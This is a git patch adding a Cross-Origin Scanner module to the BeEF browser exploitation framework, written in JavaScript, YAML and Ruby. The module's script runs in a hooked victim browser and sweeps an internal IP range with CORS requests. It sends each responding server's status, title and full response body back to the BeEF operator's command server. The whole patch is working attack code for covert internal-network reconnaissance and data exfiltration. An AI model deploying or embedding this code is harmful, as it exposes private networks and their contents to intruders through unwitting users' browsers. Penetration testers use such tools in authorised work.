From bf75e61382840f9d44119296e33a39db79a9375e Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 9 Jan 2015 21:05:59 +0000 Subject: [PATCH] Add Cross-Origin Scanner module --- .../network/cross_origin_scanner/command.js | 91 +++++++++++++++++++ .../network/cross_origin_scanner/config.yaml | 28 ++++++ .../network/cross_origin_scanner/module.rb | 21 +++++ 3 files changed, 140 insertions(+) create mode 100644 modules/network/cross_origin_scanner/command.js create mode 100644 modules/network/cross_origin_scanner/config.yaml create mode 100644 modules/network/cross_origin_scanner/module.rb diff --git a/modules/network/cross_origin_scanner/command.js b/modules/network/cross_origin_scanner/command.js new file mode 100644 index 000000000..440c86b17 --- /dev/null +++ b/modules/network/cross_origin_scanner/command.js @@ -0,0 +1,91 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var ips = new Array(); + var ipRange = "<%= @ipRange %>"; + var threads = "<%= @threads %>"; + var wait = 2; + + if(!beef.browser.hasCors()) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS'); + return; + } + + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied"); + return; + } + + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (var i = lowerBound; i <= upperBound; i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } + + WorkerQueue = function(frequency) { + + var stack = []; + var timer = null; + var frequency = frequency; + var start_scan = (new Date).getTime(); + + this.process = function() { + var item = stack.shift(); + eval(item); + if (stack.length === 0) { + clearInterval(timer); + timer = null; + var interval = (new Date).getTime() - start_scan; + beef.debug("[Cross-Origin Scanner] Worker queue is complete ["+interval+" ms]"); + return; + } + } + + this.queue = function(item) { + stack.push(item); + if (timer === null) { + timer = setInterval(this.process, frequency); + } + } + + } + + beef.debug("[Cross-Origin Scanner] Starting CORS scan ("+ips.length+" URLs / "+threads+" workers)"); + + // create worker queue + var workers = new Array(); + for (w=0; w < threads; w++) { + workers.push(new WorkerQueue(wait*1000)); + } + + // send CORS request to each IP + var proto = 'http'; + var port = 80; + for (var i=0; i < ips.length; i++) { + var worker = workers[i % threads]; + var url = proto + '://' + ips[i] + ':' + port; + worker.queue('beef.net.cors.request(' + + '"GET", "'+url+'", "", function(response) {' + + 'if (response != null && response["status"] != 0) {' + + 'beef.debug("[Cross-Origin Scanner] Received response from '+url+': " + JSON.stringify(response));' + + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ips[i]+'&port='+port+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response));' + + '}' + + '});' + ); + } + +}); + diff --git a/modules/network/cross_origin_scanner/config.yaml b/modules/network/cross_origin_scanner/config.yaml new file mode 100644 index 000000000..77202c349 --- /dev/null +++ b/modules/network/cross_origin_scanner/config.yaml @@ -0,0 +1,28 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + cross_origin_scanner: + enable: true + category: "Network" + name: "Cross-Origin Scanner" + description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF." + authors: ["bcoles"] + target: + working: ["ALL"] + not_working: + IE: + min_ver: 6 + max_ver: 7 + O: + min_ver: 1 + max_ver: 11 + C: + min_ver: 1 + max_ver: 2 + S: + min_ver: 1 + max_ver: 3 diff --git a/modules/network/cross_origin_scanner/module.rb b/modules/network/cross_origin_scanner/module.rb new file mode 100644 index 000000000..0c3902bf0 --- /dev/null +++ b/modules/network/cross_origin_scanner/module.rb @@ -0,0 +1,21 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Cross_origin_scanner < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + + def self.options + return [ + {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '5'} + ] + end + +end